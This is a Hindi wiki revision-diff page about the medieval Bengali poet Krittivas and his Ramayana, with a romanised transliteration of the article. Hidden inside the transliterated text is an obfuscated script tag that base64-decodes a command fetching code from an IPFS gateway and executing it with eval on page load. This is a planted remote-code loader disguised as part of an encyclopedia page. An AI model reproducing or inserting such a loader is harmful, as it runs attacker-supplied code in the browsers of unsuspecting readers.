Difference between revisions of "कृत्तिवास"
| [unchecked revision] | [unchecked revision] |
(''''कृत्तिवास''' अथवा 'कृत्तिवास ओझा' बंगाल के अत्यंत ल...' के साथ नया पन्ना बनाया) |
व्यवस्थापन (talk | contribs) m (Text replacement - "विद्वान " to "विद्वान् ") |
||
| Line 3: | Line 3: | ||
==जीवन परिचय== | ==जीवन परिचय== | ||
कृत्तिवास की निश्चित जन्म तिथि उनके आत्मचरित से भी ज्ञात नहीं होती। योगेशचंद्र राय 1433, दिनेशचंद्र 1385 से 1400 ई. के बीच तथा सुकुमार सेन 15वीं शती के उत्तरार्ध में इनका जन्म मानते हैं। 20वीं [[शताब्दी]] के कुछ विद्वानों ने, जिनमें नगेंद्रनाथ वसु एवं निदेशचंद्र सेन प्रमुख हैं, एक हस्त लिखित पोथी प्राप्त की, जो कृत्तिवास का आत्मचरित बताया जाता है। इस पोथी को दिनेशचंद्र सेन ने [[1901]] ई. में अपने ग्रंथ 'बंगभाषा और साहित्य' के द्वितीय संस्करण में प्रकाशित किया। इसके बाद नलिनीकांत भट्टशाली ने भी एक हस्तलिखित पोथी प्राप्त की। इन पोथियों के अनुसार कृत्तिवास फुलिया के रहने वाले थे। इनके पूर्व पुरुष यवन-उपद्रव-काल में अपना स्थान छोड़कर चले आए थे। इनके पितामह का नाम मुरारी ओझा, [[पिता]] का नाम वनमाली एव [[माता]] का नाम मानिकी था। कृत्तिवास पाँच भाई थे। ये [[पद्मा नदी]] के पार वारेंद्र भूमि में पढ़ने गए थे।<ref name="aa">{{cite web |url=http://khoj.bharatdiscovery.org/india/%E0%A4%95%E0%A5%83%E0%A4%A4%E0%A5%8D%E0%A4%A4%E0%A4%BF%E0%A4%B5%E0%A4%BE%E0%A4%B8|title=कृत्तिवास|accessmonthday=09 अप्रैल|accessyear=2014|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> | कृत्तिवास की निश्चित जन्म तिथि उनके आत्मचरित से भी ज्ञात नहीं होती। योगेशचंद्र राय 1433, दिनेशचंद्र 1385 से 1400 ई. के बीच तथा सुकुमार सेन 15वीं शती के उत्तरार्ध में इनका जन्म मानते हैं। 20वीं [[शताब्दी]] के कुछ विद्वानों ने, जिनमें नगेंद्रनाथ वसु एवं निदेशचंद्र सेन प्रमुख हैं, एक हस्त लिखित पोथी प्राप्त की, जो कृत्तिवास का आत्मचरित बताया जाता है। इस पोथी को दिनेशचंद्र सेन ने [[1901]] ई. में अपने ग्रंथ 'बंगभाषा और साहित्य' के द्वितीय संस्करण में प्रकाशित किया। इसके बाद नलिनीकांत भट्टशाली ने भी एक हस्तलिखित पोथी प्राप्त की। इन पोथियों के अनुसार कृत्तिवास फुलिया के रहने वाले थे। इनके पूर्व पुरुष यवन-उपद्रव-काल में अपना स्थान छोड़कर चले आए थे। इनके पितामह का नाम मुरारी ओझा, [[पिता]] का नाम वनमाली एव [[माता]] का नाम मानिकी था। कृत्तिवास पाँच भाई थे। ये [[पद्मा नदी]] के पार वारेंद्र भूमि में पढ़ने गए थे।<ref name="aa">{{cite web |url=http://khoj.bharatdiscovery.org/india/%E0%A4%95%E0%A5%83%E0%A4%A4%E0%A5%8D%E0%A4%A4%E0%A4%BF%E0%A4%B5%E0%A4%BE%E0%A4%B8|title=कृत्तिवास|accessmonthday=09 अप्रैल|accessyear=2014|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> | ||
| − | ==== | + | ====विद्वान् मतभेद==== |
कृत्तिवास अपने अध्यापक आचार्य चूड़ामणि के अत्यंत प्रिय शिष्य थे। अध्ययन समाप्त करने के बाद वे गौड़ेश्वर के दरबार में गए। यह कौन-से गौड़ाधिपति थे, इसका उल्लेख नहीं है। कुछ विद्वानों ने इन्हें [[हिन्दू]] शासक राजा गणेश (कंस) माना है तथा कुछ ने ताहिरपुर के राजा कंसनारायण। अन्य एक तीसरे राजा दनुजमर्दन का भी नाम लेते हैं। जनश्रुति के अनुसार कृत्तिवास ने गौड़ेश्वर को पाँच [[श्लोक]] लिखकर भेजे थे। उन्हें पढ़कर राजा अतीव प्रसन्न हुए और इन्हें तुरंत अपने समक्ष बुलाया। वहाँ जाकर इन्होंने कुछ और श्लोक सुनाए। राजा ने इनका अत्यंत सत्कार किया और '[[रामायण]]' लिखने का अनुरोध किया। | कृत्तिवास अपने अध्यापक आचार्य चूड़ामणि के अत्यंत प्रिय शिष्य थे। अध्ययन समाप्त करने के बाद वे गौड़ेश्वर के दरबार में गए। यह कौन-से गौड़ाधिपति थे, इसका उल्लेख नहीं है। कुछ विद्वानों ने इन्हें [[हिन्दू]] शासक राजा गणेश (कंस) माना है तथा कुछ ने ताहिरपुर के राजा कंसनारायण। अन्य एक तीसरे राजा दनुजमर्दन का भी नाम लेते हैं। जनश्रुति के अनुसार कृत्तिवास ने गौड़ेश्वर को पाँच [[श्लोक]] लिखकर भेजे थे। उन्हें पढ़कर राजा अतीव प्रसन्न हुए और इन्हें तुरंत अपने समक्ष बुलाया। वहाँ जाकर इन्होंने कुछ और श्लोक सुनाए। राजा ने इनका अत्यंत सत्कार किया और '[[रामायण]]' लिखने का अनुरोध किया। | ||
==काव्य लेखन== | ==काव्य लेखन== | ||
Revision as of 14:44, 6 July 2017
krittivas athava 'krittivas ojha' bangal ke atyant lokapriy kavi the, jinhoanne bangala bhasha mean valmiki ramayan ka sarvapratham padyanuvad kiya tha. unaka yah anuvad avikal anuvad nahian hai. unhoanne apani kalpana shakti evan kavy shakti dvara charitroan evan ghatanaoan ka chitran kahian-kahian par bhinn roop mean kiya hai. inake kavy mean patroan ke bhitar kuchh adhik komalata dikhaee gee hai. karun ras ki bhi adhik gahari anubhooti hai.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
jivan parichay
krittivas ki nishchit janm tithi unake atmacharit se bhi jnat nahian hoti. yogeshachandr ray 1433, dineshachandr 1385 se 1400 ee. ke bich tatha sukumar sen 15vian shati ke uttarardh mean inaka janm manate haian. 20vian shatabdi ke kuchh vidvanoan ne, jinamean nageandranath vasu evan nideshachandr sen pramukh haian, ek hast likhit pothi prapt ki, jo krittivas ka atmacharit bataya jata hai. is pothi ko dineshachandr sen ne 1901 ee. mean apane granth 'bangabhasha aur sahity' ke dvitiy sanskaran mean prakashit kiya. isake bad nalinikaant bhattashali ne bhi ek hastalikhit pothi prapt ki. in pothiyoan ke anusar krittivas phuliya ke rahane vale the. inake poorv purush yavan-upadrav-kal mean apana sthan chho dakar chale ae the. inake pitamah ka nam murari ojha, pita ka nam vanamali ev mata ka nam maniki tha. krittivas paanch bhaee the. ye padma nadi ke par vareandr bhoomi mean padhane ge the.[1]
vidvanh matabhed
krittivas apane adhyapak achary choo damani ke atyant priy shishy the. adhyayan samapt karane ke bad ve gau deshvar ke darabar mean ge. yah kaun-se gau dadhipati the, isaka ullekh nahian hai. kuchh vidvanoan ne inhean hindoo shasak raja ganesh (kans) mana hai tatha kuchh ne tahirapur ke raja kansanarayan. any ek tisare raja danujamardan ka bhi nam lete haian. janashruti ke anusar krittivas ne gau deshvar ko paanch shlok likhakar bheje the. unhean padhakar raja ativ prasann hue aur inhean turant apane samaksh bulaya. vahaan jakar inhoanne kuchh aur shlok sunae. raja ne inaka atyant satkar kiya aur 'ramayan' likhane ka anurodh kiya.
kavy lekhan
valmiki ke ram kshatriy vir haian; jo viratv, shaury evan bal mean advitiy haian, parantu krittivas ne ram ki kusum-komal moorti hi dekhi hai. unake ram ka tan navani jiniya ati sukomal hai aur ve hath mean phul dhanu lekar van jate haian. parantu jahaan tak valmiki ramayan ke uchch adarshoan ka prashn haian, krittivas ne un sabako apani rachana mean akshun rakha hai. pitribhakti, satyanishtha, tyag, prajanuranjan, pattivrat ityadi sab adarshoan ka saphalatapoorvak pratipadan kiya gaya hai. kavi ne isamean kahian ne akhyan dekar, kahian bangal ki riti niti, kahian amod-pramod, kahian achar anushthan aur kahian nari roop dikhakar is rachana ko apane pradesh ke nivasayoian ki vastu bana diya hai. inhoanne valmiki ramayan ke goodh darshanik aanshoan, vicharoan ke vishleshanatmak bhagoan evan alankarikata ko apani rachana mean sthan nahian diya hai. rachana saushthav aur kavy gun se yukt yah rachana bangal ki nijasv ban gee hai.[1]
krittivas ki ramayan
bangal mean krittivas ki 'ramayan' atyant lokapriy hai. dhani, daridr sabake bich isaka adar aur prachar hai. log atyant prem aur bhakti se isaka path karate haian. pray: isaka path gakar hi kiya jata hai. krittivas ke vishay mean adhik dinoan tak adhik jnat nahian tha. ramayan ke praranbh athava pratyek kaand ke aant mean ek-do panktiyaan milati thian, jinase jnat hota tha ki ramayan ke rachayita ka nam krittivas hai aur ve vichakshan kavi haian; unhoanne puran sunakar kautuk mean hi git rach dale.
|
|
|
|
|
|